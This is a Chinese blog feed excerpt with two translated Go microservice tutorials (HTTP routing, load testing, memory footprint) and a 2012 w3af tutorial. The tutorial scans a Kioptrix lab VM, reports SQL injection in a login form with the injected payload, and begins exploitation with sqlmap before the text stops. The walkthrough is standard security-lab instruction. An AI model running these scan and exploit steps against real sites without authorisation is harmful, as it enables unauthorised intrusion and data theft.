        &quot;fmt&quot;
        )
        
var appName = &quot;accountservice&quot;

func main() {
    fmt.Printf(&quot;Starting %v\n&quot;, appName)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，让我们运行它。&lt;/p&gt;
&lt;p&gt;确保您位于与 &lt;em&gt;$GOPATH/src/github.com/callistaenterprise/goblog/accountservice&lt;/em&gt; 对应的文件夹。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go run *.go
Starting accountservice
&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完成了！但这个程序只会打印然后退出。是时候添加我们的第一个 HTTP 端点了。&lt;/p&gt;
&lt;h2&gt;构建一个 HTTP Web 服务器&lt;/h2&gt;
&lt;p&gt;注意：这些基础的 HTTP 示例来自一篇出色的&lt;a href=&quot;https://thenewstack.io/make-a-restful-json-api-go/&quot;&gt;博客文章&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;为了简洁，我们将所有与 HTTP 服务有关的文件都放入 &lt;em&gt;service&lt;/em&gt; 文件夹中。&lt;/p&gt;
&lt;h3&gt;HTTP 服务器启动器&lt;/h3&gt;
&lt;p&gt;在 &lt;em&gt;/services&lt;/em&gt; 文件夹中创建文件 &lt;em&gt;webserver.go&lt;/em&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package service

import (
        &quot;net/http&quot;
        &quot;log&quot;
)

func StartWebServer(port string) {

        log.Println(&quot;Starting HTTP service at &quot; + port)
        err := http.ListenAndServe(&quot;:&quot; + port, nil)    // goroutine 将会阻塞在这里

        if err != nil {
                log.Println(&quot;An error occured starting HTTP listener at port &quot; + port)
                log.Println(&quot;Error: &quot; + err.Error())
        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们正在使用内置的 &lt;em&gt;net/http&lt;/em&gt; 包来执行 &lt;em&gt;ListenAndServe&lt;/em&gt;，它会在指定端口上启动 HTTP 服务器。&lt;/p&gt;
&lt;p&gt;更新 &lt;em&gt;main.go&lt;/em&gt;，以便我们使用暂时硬编码的端口来调用 &lt;em&gt;StartWebServer&lt;/em&gt; 函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
        &quot;fmt&quot;
        &quot;github.com/callistaenterprise/goblog/accountservice/service&quot;  // 新的
)

var appName = &quot;accountservice&quot;

func main() {
        fmt.Printf(&quot;Starting %v\n&quot;, appName)
        service.StartWebServer(&quot;6767&quot;)           // 新的
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次运行程序：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go run *.go
Starting accountservice
2017/01/30 19:36:00 Starting HTTP service at 6767
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，我们有一个简单的 HTTP 服务器，用于监听 &lt;em&gt;localhost&lt;/em&gt; 上的端口 6767。&lt;/p&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://curl.haxx.se/&quot;&gt;curl&lt;/a&gt; 访问它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; curl http://localhost:6767
404 page not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;404 正是我们期望的，因为我们尚未声明任何路由。&lt;/p&gt;
&lt;p&gt;通过快捷键 Ctrl+C 来停止 Web 服务器。&lt;/p&gt;
&lt;h3&gt;添加第一个路由&lt;/h3&gt;
&lt;p&gt;是时候该为我们的服务器提供服务了。&lt;/p&gt;
&lt;p&gt;首先，我们将使用 &lt;a href=&quot;https://gobyexample.com/structs&quot;&gt;Go 结构体&lt;/a&gt;声明我们的第一个&lt;a href=&quot;http://www.gorillatoolkit.org/pkg/mux#Route&quot;&gt;路由&lt;/a&gt;，该结构体将用于填充 Gorilla 路由。&lt;/p&gt;
&lt;p&gt;在 &lt;em&gt;service&lt;/em&gt; 文件夹中，创建 &lt;em&gt;routes.go&lt;/em&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package service

import &quot;net/http&quot;

// 定义一个单独的 route，内容如下：名字、HTTP 方法、路由模式和访问路由时会执行的函数
type Route struct {
	Name        string
	Method      string
	Pattern     string
	HandlerFunc http.HandlerFunc
}

// 定义 Routes 类型，它只是 Route 结构的一个数组（切片）。
type Routes []Route

// 初始化我们的 routes
var routes = Routes{

	Route{
		&quot;GetAccount&quot;,                                     // 名字
		&quot;GET&quot;,                                            // HTTP 方法
		&quot;/accounts/{accountId}&quot;,                          // 路由模式
		func(w http.ResponseWriter, r *http.Request) {
            w.Header().Set(&quot;Content-Type&quot;, &quot;application/json; charset=UTF-8&quot;)
            w.Write([]byte(&quot;{\&quot;result\&quot;:\&quot;OK\&quot;}&quot;))
        },
	},
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在上面的代码段中，我们声明了 &lt;em&gt;/accounts/{accountId}&lt;/em&gt; 路径，等一下可以使用 curl 来试用。&lt;/p&gt;
&lt;p&gt;Gorilla 对复杂的路由还支持正则表达式、schemes、HTTP 方法、查询参数 和 HTTP 头，因此当然不仅仅限于路径和路径参数。&lt;/p&gt;
&lt;p&gt;现在，我们将仅返回一条已硬编码为响应的 JSON 消息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;result&quot;:&quot;OK&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们还需要一些样板代码，将实际的 &lt;a href=&quot;http://www.gorillatoolkit.org/pkg/mux#overview&quot;&gt;Gorilla Router&lt;/a&gt; 绑定到我们声明的路由。在 &lt;em&gt;service&lt;/em&gt; 文件夹中，创建 &lt;em&gt;router.go&lt;/em&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package service

import (
	&quot;github.com/gorilla/mux&quot;
)

// 函数返回指向 mux.Router 的指针，我们可以用作 handler
func NewRouter() *mux.Router {

        // 创建一个 Gorilla router 的实例
	router := mux.NewRouter().StrictSlash(true)
	
	// 遍历在 route.go 中声明的路由，并将其附加到 router 实例
	for _, route := range routes {
	    
                // 附加每个 route，使用类似 Builder 的模式设置每个 route
		router.Methods(route.Method).
                Path(route.Pattern).
                Name(route.Name).
                Handler(route.HandlerFunc)
	}
	return router
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;导入依赖项&lt;/h3&gt;
&lt;p&gt;在 &lt;em&gt;router.go&lt;/em&gt; 的 import 中，我们看到我们已经声明了对 &lt;a href=&quot;http://github.com/gorilla/mux&quot;&gt;github.com/gorilla/mux&lt;/a&gt; 包的依赖。&lt;/p&gt;
&lt;p&gt;有关如何使用 &lt;em&gt;go get&lt;/em&gt; 下载 Go 依赖项的详细说明，请参见&lt;a href=&quot;https://github.com/golang/go/wiki/GOPATH#repository-integration-and-creating-go-gettable-projects&quot;&gt;此处&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;为了构建并运行上述文件，我们需要使用 &lt;em&gt;go get&lt;/em&gt; 将声明的包下载到我们的工作空间中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go get
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于 Go 工具实际上是从 &lt;a href=&quot;https://github.com/gorilla/mux&quot;&gt;https://github.com/gorilla/mux&lt;/a&gt; 下载 gorilla/mux 所需的所有源代码，因此可能需要一些时间。&lt;/p&gt;
&lt;p&gt;此源代码将最终在本地文件系统上的 &lt;em&gt;$GOPATH/src/github.com/gorilla/mux&lt;/em&gt; 中，并将其内置到您的静态链接二进制文件中。&lt;/p&gt;
&lt;h3&gt;调用&lt;/h3&gt;
&lt;p&gt;现在，重新编辑 &lt;em&gt;webserver.go&lt;/em&gt; 并在 &lt;em&gt;StartWebServer&lt;/em&gt; 函数的开始处添加以下两行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func StartWebServer(port string) {

        r := NewRouter()             // 新的
        http.Handle(&quot;/&quot;, r)          // 新的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这会将我们刚刚创建的路由关联到根路径为 / 的 http.Handle 中。让我们再次构建并运行服务器。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go run *.go
Starting accountservice
2017/01/31 15:15:57 Starting HTTP service at 6767
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试试看 curl：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; curl http://localhost:6767/accounts/10000
{&quot;result&quot;:&quot;OK&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很好！我们刚刚成功创建了第一个 HTTP 服务！&lt;/p&gt;
&lt;h2&gt;运行时和性能表现&lt;/h2&gt;
&lt;p&gt;我们最好做一个快速的基准测试，以了解基于 Go 的微服务的性能。&lt;/p&gt;
&lt;p&gt;我已经开发了一个简单的 &lt;a href=&quot;http://gatling.io/&quot;&gt;Gatling&lt;/a&gt; 测试，可以使用 GET 请求对 &lt;em&gt;/accounts/{accountId}&lt;/em&gt; 进行评估。&lt;/p&gt;
&lt;p&gt;如果您已检出此部分的代码，则可以在 &lt;em&gt;/goblog/loadtest&lt;/em&gt; 文件夹中找到该负载测试。&lt;/p&gt;
&lt;p&gt;或者您可以在 &lt;a href=&quot;https://github.com/callistaenterprise/goblog/tree/master/loadtest&quot;&gt;github&lt;/a&gt; 上查看它。&lt;/p&gt;
&lt;h3&gt;运行负载测试&lt;/h3&gt;
&lt;p&gt;如果要运行负载测试，请确保 accountservice 已启动并在 localhost 上运行，并且已克隆了代码和签出了 P2分支。&lt;/p&gt;
&lt;p&gt;您还需要安装 Java Runtime Environment 和 &lt;a href=&quot;https://maven.apache.org/&quot;&gt;Apache Maven&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;进入 &lt;em&gt;/goblog/loadtest&lt;/em&gt; 目录，然后从命令行执行以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; mvn gatling:execute -Dusers=1000 -Dduration=30 -DbaseUrl=http://localhost:6767
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该命令可以运行测试。参数的含义为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;users：测试将模拟的并发用户数&lt;/li&gt;
&lt;li&gt;duration：测试将运行多少秒&lt;/li&gt;
&lt;li&gt;baseUrl：提供我们需要测试的服务主机的基本路径。当我们迁徙至 Docker Swarm 时，需要将baseUrl 更改为 Swarm 的公共 IP。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;测试完成后，它会将结果写入控制台窗口，并将精美的 HTML 报告写入 &lt;em&gt;target/gatling/results/&lt;/em&gt; 中。&lt;/p&gt;
&lt;h3&gt;结果&lt;/h3&gt;
&lt;p&gt;注意：当我们要构建的服务在 Docker Swarm 上的 Docker 容器内运行时，我们将在那里做基准测试和指标获取的工作。&lt;/p&gt;
&lt;p&gt;在那之前，我的 &lt;em&gt;mid-2014 MacBook Pro&lt;/em&gt; 必须有足够的性能。&lt;/p&gt;
&lt;p&gt;在开始负载测试之前，根据 OS X 任务管理器，基于 Go 的 accountservice 的内存消耗如下：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;1.8 mb，还不错！让我们通过 1K req/s 的指标来运行 Gatling 测试。&lt;/p&gt;
&lt;p&gt;请记住，这是一个非常简单的实现，只响应一个硬编码的字符串。&lt;/p&gt;
&lt;h3&gt;内存占用&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;好了，1K req/s 的指标会使 accountservice 消耗约 28 mb 的内存。&lt;/p&gt;
&lt;p&gt;这只是 Spring Boot 应用程序启动时使用的 1/10。一旦我们开始向其添加实际功能，注意这个数字的变化将非常有趣。&lt;/p&gt;
&lt;h3&gt;性能和 CPU 占用率&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;1K req/s 的指标约占单个核心的 8％。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;请注意 Gatling 如何舍入亚毫秒级（不到一毫秒）的延迟，但平均延迟报告为 0 毫秒，其中一个请求耗时 11 毫秒。&lt;/p&gt;
&lt;p&gt;在这一点上，我们的 accountservice 表现出色，在亚毫秒范围内的平均速度为 745~req/s。&lt;/p&gt;
&lt;h3&gt;下一步是什么？&lt;/h3&gt;
&lt;p&gt;在接下来的系列中，我们会使我们的 accountservice 做些有用的事情。&lt;/p&gt;
&lt;p&gt;我们将添加一个带有 Account 对象的简单嵌入式数据库，该对象将通过 HTTP 提供服务。&lt;/p&gt;
&lt;p&gt;我们还将研究 JSON 序列化，并检查这些新增内容如何影响其内存占用和性能。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>[译]用 Go 语言编写一个微服务博客 — 第一部分 — Go 语言微服务介绍和使用 Go 语言编写微服务的原因</title><link>https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part1/</link><guid isPermaLink="true">https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part1/</guid><description>介绍了 Go 语言微服务的关键概念和使用 Go 语言编写微服务的原因。</description><pubDate>Wed, 01 Mar 2017 09:31:04 GMT</pubDate><content:encoded>&lt;p&gt;原文链接：&lt;a href=&quot;https://callistaenterprise.se/blogg/teknik/2017/02/17/go-blog-series-part1/&quot;&gt;Go Microservices blog series, part 1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在本博客系列中，我们将会使用 &lt;a href=&quot;https://golang.org/&quot;&gt;Go 语言&lt;/a&gt;编写一个微服务博客系统，通过逐步添加组件，使得整个微服务能够以 &lt;a href=&quot;https://www.docker.com/products/docker-swarm&quot;&gt;Docker Swarm 模式&lt;/a&gt;在 &lt;a href=&quot;https://cloud.spring.io/spring-cloud-netflix/&quot;&gt;Spring Cloud/Netflix OSS&lt;/a&gt; 上正常运行。&lt;/p&gt;
&lt;p&gt;如果您不知道什么是微服务，我建议您阅读 &lt;a href=&quot;https://martinfowler.com/articles/microservices.html&quot;&gt;Martin Fowler’s 的文章&lt;/a&gt;来学习它。&lt;/p&gt;
&lt;p&gt;有关微服务的更多信息，我的同事 &lt;a href=&quot;https://callistaenterprise.se/om/medarbetare/magnuslarsson/&quot;&gt;Magnus&lt;/a&gt; 的&lt;a href=&quot;https://callistaenterprise.se/blogg/teknik/2015/03/25/an-operations-model-for-microservices/&quot;&gt;一篇博客文章&lt;/a&gt;很好地解释了其中的一些关键概念。&lt;/p&gt;
&lt;p&gt;本博客系列不是 Go 语言的指南，尽管在整个过程中会编写一些代码，但我只会解释一些 Go 语言的关键概念。&lt;/p&gt;
&lt;p&gt;我们将在第一部分阅读大量代码，包括基本功能、单元测试和其它核心主题。&lt;/p&gt;
&lt;p&gt;注意：在本博客系列中提及 Docker Swarm 时，我指的是以 &lt;a href=&quot;https://docs.docker.com/engine/swarm/&quot;&gt;swarm 模式&lt;/a&gt;运行 Docker 1.12+。作为独立概念的 &lt;a href=&quot;https://docs.docker.com/swarm/&quot;&gt;Docker Swarm&lt;/a&gt; 在 Docker 1.12 版本后不再使用。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;全局概述&lt;/h2&gt;
&lt;p&gt;下图展示了我们将在整个系列中编写的系统，我们将从编写第一个 Go 语言微服务开始，然后会越来越接近下图所示的内容。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;图例说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;白色虚线框：在一个或多个节点上运行的逻辑 Docker Swarm 集群；&lt;/li&gt;
&lt;li&gt;蓝框：支持 Spring Cloud/Netflix OSS 技术栈的服务和一些其它服务，如：Zipkin；&lt;/li&gt;
&lt;li&gt;土黄色框和白色框：实际的微服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;整个环境几乎与 &lt;a href=&quot;https://callistaenterprise.se/blogg/teknik/2015/05/20/blog-series-building-microservices/&quot;&gt;Magnus Larssons 微服务博客系列&lt;/a&gt; 中的相同，主要区别在于实际的微服务由 Go 语言编写，而不是 Java。&lt;/p&gt;
&lt;p&gt;但 quotes-service 是个例外，它基于 JVM，专门用来测试与 Go 语言微服务的集成。&lt;/p&gt;
&lt;h2&gt;使用 Go 语言编写微服务的原因 — 运行时空间&lt;/h2&gt;
&lt;p&gt;可能有人会问，为什么我们要用 Go 语言编写微服务？&lt;/p&gt;
&lt;p&gt;除了 Go 语言是一门非常有趣且高效的语言外，使用 Go 语言编写微服务的主要原因是它有着少量的内存占用。&lt;/p&gt;
&lt;p&gt;让我们看一下下面的截图，我们在 Docker Swarm 中运行了几个微服务：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;其中，quotes-service 基于 &lt;a href=&quot;https://projects.spring.io/spring-boot/&quot;&gt;Spring Boot&lt;/a&gt; 和 &lt;a href=&quot;https://spring.io/projects/spring-cloud&quot;&gt;Spring Cloud&lt;/a&gt;；compservice 和 accountservice 基于 Go 语言。&lt;/p&gt;
&lt;p&gt;两者都是 HTTP 服务器，里面部署了许多库来处理与 Spring Cloud 的集成。&lt;/p&gt;
&lt;p&gt;让人感到疑惑的是，内存占用在 2017 年真的重要吗？我们现在很容易获取到大容量内存服务器，而这些大容量内存服务器可以轻松地容纳大量基于 Java 的应用程序。&lt;/p&gt;
&lt;p&gt;但一个大型的企业不会只有十个左右的微服务，他们可能会在云服务器上运行成百上千个容器化的微服务。当运行大量容器时，少量的内存占用可以随着时间的推移为您的公司节省大量资金。&lt;/p&gt;
&lt;p&gt;让我们来看一下按需计费的通用 Amazon EC2 实例的定价（2017-02-15 前）：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;比较各种 t2 实例，我们可以看到对于给定的 CPU 核数，如果将内存数量翻倍（例如：从 t2.medium 的 4 GB 到 t2.large 的 8 GB），那么每小时费用也增加了一倍。&lt;/p&gt;
&lt;p&gt;如果不是 CPU 密集型的应用，这意味着在指定实例中能够容纳两倍数量的微服务，从理论上来说，这使您的云服务器费用减少一半。&lt;/p&gt;
&lt;p&gt;在接下来的博客系列中，我们也会看到一个复杂的 Go 语言微服务使用的内存也比一个简单的 Spring Boot 微服务使用的内存要少很多。&lt;/p&gt;
&lt;h2&gt;该微服务的非功能需求&lt;/h2&gt;
&lt;p&gt;本博客系列不仅涉及如何编写基于 Go 语言的微服务，还涉及如何使其在 Spring Cloud 环境中良好运行，并达到生产级别的质量。&lt;/p&gt;
&lt;p&gt;非功能性需求如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;配置集中&lt;/li&gt;
&lt;li&gt;服务发现&lt;/li&gt;
&lt;li&gt;日志&lt;/li&gt;
&lt;li&gt;分布式链路跟踪&lt;/li&gt;
&lt;li&gt;断路器模式（熔断）&lt;/li&gt;
&lt;li&gt;负载均衡&lt;/li&gt;
&lt;li&gt;边缘计算&lt;/li&gt;
&lt;li&gt;实时监控&lt;/li&gt;
&lt;li&gt;安全&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;无论是使用 Go、Java、JavaScript、Python、C# 或任何您喜欢的编程语言来编写微服务系统，以上这些都是我认为在决定使用微服务架构就必须考虑的事情。&lt;/p&gt;
&lt;p&gt;在本博客系列中，我将会从 Go 语言的角度来介绍以上所有主题。&lt;/p&gt;
&lt;p&gt;而从另一个角度来看，实际的微服务实现应该都或多或少使用了提供以下功能的库：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP/RPC/REST/SOAP/其它 API 方式&lt;/li&gt;
&lt;li&gt;持久化 API（数据库客户端、JDBC、对象关系映射）&lt;/li&gt;
&lt;li&gt;消息队列 API（MQTT、AMOP、JMS）&lt;/li&gt;
&lt;li&gt;可测试性（单元、集成、系统、验收）&lt;/li&gt;
&lt;li&gt;构建工具/CI/CD&lt;/li&gt;
&lt;li&gt;等等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在本博客系列中，只会涉及以上部分主题而不是所有。&lt;/p&gt;
&lt;h2&gt;在 Docker Swarm 上运行&lt;/h2&gt;
&lt;p&gt;本博客系列使用 Docker Swarm 作为运行时环境，这意味着无论是配置服务、边缘计算服务，还是实际的微服务实现都将被部署为 &lt;a href=&quot;https://docs.docker.com/engine/swarm/how-swarm-mode-works/services/&quot;&gt;Docker Swarm&lt;/a&gt; 服务。&lt;/p&gt;
&lt;p&gt;在整个微服务系统编写完后，运行以下 Docker 命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker service ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将会看到下面的所有服务：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;性能&lt;/h2&gt;
&lt;p&gt;如果说基于 Go 语言的微服务有着少量的内存占用，那么可以量化吗？对不同的编程语言进行有意义的基准测试可能非常困难。&lt;/p&gt;
&lt;p&gt;有时候，人们使用一些类似 &lt;a href=&quot;https://benchmarksgame.alioth.debian.org/u64q/go.html&quot;&gt;Benchmarkgame&lt;/a&gt; 的网站，在上面提交各种语言的常用算法的实现，然后用它们来比较，这种情况下 Go 语言一般比 Java 8 要快一点，但有少许例外。&lt;/p&gt;
&lt;p&gt;并且 Go 语言一般和 C++ 不相上下，在一些测试中又慢得多。&lt;/p&gt;
&lt;p&gt;结论是，Go 语言一般情况下对于典型的微服务场景性能良好，如：提供 HTTP 或 RPC 服务、序列化/反序列化数据结构和处理网络 IO 等。&lt;/p&gt;
&lt;p&gt;Go 语言的另一个相当重要的特点是：它是一门垃圾收集式语言。自从 Go 1.5 对垃圾收集器进行重写后，GC 暂停通常最多为几毫秒。&lt;/p&gt;
&lt;p&gt;如果您以前用的是 JVM，那么您可能会觉得 Go 语言的垃圾收集器还不够成熟，但在 Go 1.2 上下的某个地方更改后，它看起来可靠了许多。&lt;/p&gt;
&lt;p&gt;而且在 Go 语言中，您可以通过一个选项（&lt;a href=&quot;https://dave.cheney.net/2015/11/29/a-whirlwind-tour-of-gos-runtime-environment-variables&quot;&gt;GOGC&lt;/a&gt;）来调整堆的总大小（相对于可达对象的大小）来控制 GC 的行为。&lt;/p&gt;
&lt;p&gt;在构建第一个微服务并随后相其添加断路器、链路跟踪和日志等组件的过程中，一步步进行性能分析可能会非常有趣，所以我们会使用 &lt;a href=&quot;http://gatling.io/&quot;&gt;Gatling&lt;/a&gt; 时刻查看性能。&lt;/p&gt;
&lt;h2&gt;启动时间&lt;/h2&gt;
&lt;p&gt;典型的 Go 语言程序另一个不错的特点是：启动速度非常快。一个提供路由和 JSON 序列化功能的简单 HTTP 服务器通常最多在几百毫秒内启动。&lt;/p&gt;
&lt;p&gt;当我们在 Docker 容器中启动 Go 微服务时，它们最多在几秒钟内就可以启动完毕，而基于 Spring Boot 的微服务通常需要至少 10 秒钟才能准备就绪。&lt;/p&gt;
&lt;p&gt;虽然这不是最重要的特性，但是当您的环境需要通过快速扩展来应对意外的流量激增时，这个特性是非常有用的。&lt;/p&gt;
&lt;h2&gt;静态链接的二进制文件&lt;/h2&gt;
&lt;p&gt;另外一个好处是，基于 Go 语言的微服务在 Docker 容器中可以使用&lt;a href=&quot;https://en.wikipedia.org/wiki/Static_library&quot;&gt;静态链接&lt;/a&gt;的二进制文件。&lt;/p&gt;
&lt;p&gt;尽管该文件不是非常小（实际的微服务通常有 10-20 MB），但最大的好处是我们的 Dockerfile 文件非常简单，而且我们可以用一些非常基础的 Docker 镜像。&lt;/p&gt;
&lt;p&gt;比如说我常用的 &lt;a href=&quot;https://hub.docker.com/r/iron/base/&quot;&gt;iron/base&lt;/a&gt;，只有 6 MB 左右。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM iron/base

EXPOSE 6868
ADD eventservice-linux-amd64 /
ENTRYPOINT [&quot;./eventservice-linux-amd64&quot;, &quot;-profile=test&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，除了基本镜像中包含的标准 C 库（libc）外，不需要 JVM 等其它运行时环境。&lt;/p&gt;
&lt;p&gt;我们将在以后的博客文章中详细介绍如何构建静态链接的二进制文件和 &lt;code&gt;-profile=test&lt;/code&gt; 参数。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;在此博客文章中，我们介绍了使用 Go 语言构建微服务的一些关键原因，如：较小的内存占用、良好的性能和静态链接的二进制文件的方便使用。&lt;/p&gt;
&lt;p&gt;在接下来的部分，我们将构建我们的第一个基于 Go 语言的微服务。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>w3af 简单使用教程</title><link>https://www.sulinehk.com/post/w3af-simple-tutorial/</link><guid isPermaLink="true">https://www.sulinehk.com/post/w3af-simple-tutorial/</guid><description>w3af 简单使用教程</description><pubDate>Sat, 25 Aug 2012 13:36:30 GMT</pubDate><content:encoded>&lt;p&gt;本文为 2012 年在 &lt;a href=&quot;https://www.freebuf.com/&quot;&gt;FreeBuf&lt;/a&gt; 发表的文章，原地址为：&lt;a href=&quot;https://www.freebuf.com/articles/5472.html&quot;&gt;w3af 简单使用教程&lt;/a&gt;。以下内容均无修改。&lt;/p&gt;
&lt;p&gt;w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.&lt;/p&gt;
&lt;h2&gt;0×00 概述&lt;/h2&gt;
&lt;p&gt;在BackTrack5R3下使用w3af测试Kioptrix Level 4的SQL注入漏洞.&lt;/p&gt;
&lt;h2&gt;0×01 简介&lt;/h2&gt;
&lt;p&gt;w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.&lt;/p&gt;
&lt;h2&gt;0×02 安装&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;root@bt:~# apt-get install w3af
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;0×03 启动&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;root@bt:~# cd /pentest/web/w3af/
root@bt:/pentest/web/w3af# ./w3af_console
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;0×04 漏洞扫描配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;w3af&amp;gt;&amp;gt;&amp;gt; plugins
//进入插件模块
w3af/plugins&amp;gt;&amp;gt;&amp;gt; list discovery 
//列出所有用于发现的插件
w3af/plugins&amp;gt;&amp;gt;&amp;gt; discovery findBackdoor phpinfo webSpider 
//启用findBackdoor phpinfo webSpider这三个插件
w3af/plugins&amp;gt;&amp;gt;&amp;gt; list audit 
//列出所有用于漏洞的插件
w3af/plugins&amp;gt;&amp;gt;&amp;gt; audit blindSqli fileUpload osCommanding sqli xss 
//启用blindSqli fileUpload osCommanding sqli xss这五个插件
w3af/plugins&amp;gt;&amp;gt;&amp;gt; back
//返回主模块
w3af&amp;gt;&amp;gt;&amp;gt; target
//进入配置目标的模块
w3af/config:target&amp;gt;&amp;gt;&amp;gt; set target http://192.168.244.132/
//把目标设置为http://192.168.244.132/
w3af/config:target&amp;gt;&amp;gt;&amp;gt; back
//返回主模块
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;0×05 漏洞扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;w3af&amp;gt;&amp;gt;&amp;gt; start
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;---
New URL found by phpinfo plugin: http://192.168.244.132/
New URL found by phpinfo plugin: http://192.168.244.132/checklogin.php
New URL found by phpinfo plugin: http://192.168.244.132/index.php
New URL found by webSpider plugin: http://192.168.244.132/
New URL found by webSpider plugin: http://192.168.244.132/checklogin.php
New URL found by webSpider plugin: http://192.168.244.132/index.php
Found 3 URLs and 8 different points of injection.
The list of URLs is:
- http://192.168.244.132/index.php
- http://192.168.244.132/checklogin.php
- http://192.168.244.132/
The list of fuzzable requests is:
- http://192.168.244.132/ | Method: GET
- http://192.168.244.132/ | Method: GET | Parameters: (mode=&quot;phpinfo&quot;)
- http://192.168.244.132/ | Method: GET | Parameters: (view=&quot;phpinfo&quot;)
- http://192.168.244.132/checklogin.php | Method: GET
- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername=&quot;&quot;, mypassword=&quot;&quot;)
- http://192.168.244.132/index.php | Method: GET
- http://192.168.244.132/index.php | Method: GET | Parameters: (mode=&quot;phpinfo&quot;)
- http://192.168.244.132/index.php | Method: GET | Parameters: (view=&quot;phpinfo&quot;)
Blind SQL injection was found at: &quot;http://192.168.244.132/checklogin.php&quot;, using HTTP method POST. The injectable parameter is: &quot;mypassword&quot;. This vulnerability was found in the requests with ids 309 to 310.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): &quot;supplied argument is not a valid MySQL&quot;. The error was found on response with id 989.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): &quot;mysql_&quot;. The error was found on response with id 989.
SQL injection in a MySQL database was found at: &quot;http://192.168.244.132/checklogin.php&quot;, using HTTP method POST. The sent post-data was: &quot;myusername=John&amp;amp;Submit=Login&amp;amp;mypassword=d&apos;z&quot;0&quot;. The modified parameter was &quot;mypassword&quot;. This vulnerability was found in the request with id 989.
Scan finished in 19 seconds.
---
//开始扫描
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;0×06 漏洞利用配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;w3af&amp;gt;&amp;gt;&amp;gt; exploit 
//进入漏洞利用模块
w3af/exploit&amp;gt;&amp;gt;&amp;gt; list exploit
//列出所有用于漏洞利用的插件
w3af/exploit&amp;gt;&amp;gt;&amp;gt; exploit sqlmap 
